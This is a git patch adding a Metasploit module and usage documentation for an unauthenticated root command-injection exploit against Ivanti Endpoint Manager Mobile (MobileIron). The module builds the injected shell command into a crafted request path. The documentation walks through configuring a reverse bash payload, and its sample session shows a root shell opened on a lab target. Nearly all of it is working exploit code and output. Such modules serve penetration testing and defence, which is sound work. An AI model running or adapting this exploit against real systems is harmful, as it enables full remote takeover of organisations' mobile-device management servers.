From f632cf34bfef55fc2f602f620cda2aa70fb74c8d Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Thu, 5 Feb 2026 12:26:38 +0000 Subject: [PATCH] add in a module and docs fo rteh EPMM exploit --- .../exploit/linux/http/ivanti_epmm_rce.md | 90 +++++++++++ .../exploits/linux/http/ivanti_epmm_rce.rb | 144 ++++++++++++++++++ 2 files changed, 234 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/ivanti_epmm_rce.md create mode 100644 modules/exploits/linux/http/ivanti_epmm_rce.rb diff --git a/documentation/modules/exploit/linux/http/ivanti_epmm_rce.md b/documentation/modules/exploit/linux/http/ivanti_epmm_rce.md new file mode 100644 index 0000000000..ce046c5857 --- /dev/null +++ b/documentation/modules/exploit/linux/http/ivanti_epmm_rce.md @@ -0,0 +1,90 @@ +## Vulnerable Application +This module exploits a OS command injection issue in Ivanti Endpoint Manager Mobile (EPMM), formerly known +as MobileIron. A remote attacker can achieve unauthenticated RCE with root privileges on an affected device. + +## Testing +The vendor has detailed installation guides [here](https://help.ivanti.com/mi/help/en_us/core/11.x/inst/OnPremiseInstallation/InstallCore.htm). +You can install MobileIron/EPMM as a VM using a ISO file (e.g. `mobileiron-12.5.0.1-13.iso`). + +## Verification Steps + +1. Start msfconsole +2. `use exploit/linux/http/ivanti_epmm_rce` + +Configure the target: + +3. `set RHOST ` +4. `set RPORT ` (If different from the default of 443) +5. `set SSL true` (Or set to false if targeting HTTP) + +Configure the payload to execute: + +6. `set PAYLOAD cmd/unix/reverse_bash` +7. `set RHOST eth0` +8. `set RPORT 4444` + +Run the module: + +9. `check` +10. `exploit` + +## Scenarios + +### Example 1 + +``` +msf > use exploit/linux/http/ivanti_epmm_rce +[*] Using configured payload cmd/unix/reverse_bash +msf exploit(linux/http/ivanti_epmm_rce) > set RHOST 192.168.86.103 +RHOST => 192.168.86.103 +msf exploit(linux/http/ivanti_epmm_rce) > set LHOST eth0 +LHOST => eth0 +msf exploit(linux/http/ivanti_epmm_rce) > show options + +Module options (exploit/linux/http/ivanti_epmm_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: http, sapni, socks4, socks5, socks5h + RHOSTS 192.168.86.103 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes Base path + VHOST no HTTP server virtual host + + +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Default + + + +View the full module info with the info, or info -d command. + +msf exploit(linux/http/ivanti_epmm_rce) > check +[+] 192.168.86.103:443 - The target is vulnerable. Detected Ivanti MobileIron version 11.2 +msf exploit(linux/http/ivanti_epmm_rce) > exploit +[*] Started reverse TCP handler on 192.168.86.122:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Detected Ivanti MobileIron version 11.2 +[*] Command shell session 1 opened (192.168.86.122:4444 -> 192.168.86.103:48404) at 2026-02-05 12:15:07 +0000 + +id +uid=0(root) gid=0(root) groups=0(root) +uname -a +Linux mobileiron.fritz.box 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux +pwd +/mi/bin +cat /mi/release +VSP 11.2.0.0 Build 31 (Branch core-11.2.0.0) +``` diff --git a/modules/exploits/linux/http/ivanti_epmm_rce.rb b/modules/exploits/linux/http/ivanti_epmm_rce.rb new file mode 100644 index 0000000000..4d8335a97c --- /dev/null +++ b/modules/exploits/linux/http/ivanti_epmm_rce.rb @@ -0,0 +1,144 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ivanti Endpoint Manager Mobile (EPMM) unauthenticated RCE', + 'Description' => %q{ + This module exploits a OS command injection issue in Ivanti Endpoint Manager Mobile (EPMM), formerly known + as MobileIron. A remote attacker can achieve unauthenticated RCE with root privileges on an affected device. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'watchTowr', # Original analysis and PoC + 'sfewer-r7' # MSF module + ], + 'References' => [ + ['CVE', '2026-1281'], + ['CVE', '2026-1340'], + # Vendor advisory + ['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US'], + # Vendor guidance + ['URL', 'https://forums.ivanti.com/s/article/Analysis-Guidance-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US'], + # Technical analysis & PoC + ['URL', 'https://labs.watchtowr.com/someone-knows-bash-far-too-well-and-we-love-it-ivanti-epmm-pre-auth-rces-cve-2026-1281-cve-2026-1340/'] + ], + 'DisclosureDate' => '2026-01-29', + 'Privileged' => true, # Executes as root. + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ + # Successfully tested with the following payloads against MobileIron 11.2: + # cmd/unix/reverse_bash + # cmd/unix/reverse_netcat + # NOTE: The Linux fetch payloads did not work on MobileIron 11.2, YMMV on later product versions. + 'Default', { + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash', + 'FETCH_WRITABLE_DIR' => '/tmp' + } + } + ], + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([OptString.new('TARGETURI', [true, 'Base path', '/'])]) + end + + def check + res_ver = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'mifs', 'user', 'login.jsp') + ) + + return CheckCode::Unknown('Connection to /mifs/user/login.jsp failed') unless res_ver + + return CheckCode::Unknown("Unexpected /mifs/user/login.jsp response code #{res_ver.code}") unless res_ver.code == 200 + + ver_match = res_ver.body.match(/ui\.login\.css\?([\d.]+)"/) + + return CheckCode::Unknown('Failed to version match on ui.login.css') unless ver_match + + product_name = 'EPMM' + + # Ivanti acquired MobileIron and rebranded it to Endpoint Manager Mobile (EPMM) around version 11.4. + if Rex::Version.new(ver_match[1]) < Rex::Version.new('11.4.0.0') + product_name = 'MobileIron' + end + + version_string = "Detected Ivanti #{product_name} version #{ver_match[1]}" + + sleep_seconds = rand(4..8) + + begin_time = Time.now + + # We use proof-of-execution in the form of a delay to confirm if a target is vulnerable. + res = execute_cmd("sleep #{sleep_seconds}") + + end_time = Time.now + + return CheckCode::Unknown("#{version_string}. Connection failed") unless res + + if (end_time - begin_time) < sleep_seconds + return CheckCode::Safe(version_string) + end + + CheckCode::Vulnerable(version_string) + end + + def exploit + execute_cmd(payload.encoded) + end + + def execute_cmd(cmd) + elements = { + 'kid' => rand(32), + 'st' => 'theValue'.ljust(10), + 'et' => (Time.now + + (60 * 60 * rand(24))).to_i, + 'h' => "gPath[`#{cmd}`]" + } + + hash = 'sha256:' + + hash += elements.map { |k, v| "#{k}=#{Rex::Text.uri_encode(v.to_s, 'hex-noslashes')}" }.join(',') + + vprint_status("hash: #{hash}") + + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri( + target_uri.path, + 'mifs', + 'c', + 'appstore', + 'fob', + '3', + rand(1024).to_s, + hash, + "#{SecureRandom.uuid}.ipa" + ) + ) + end +end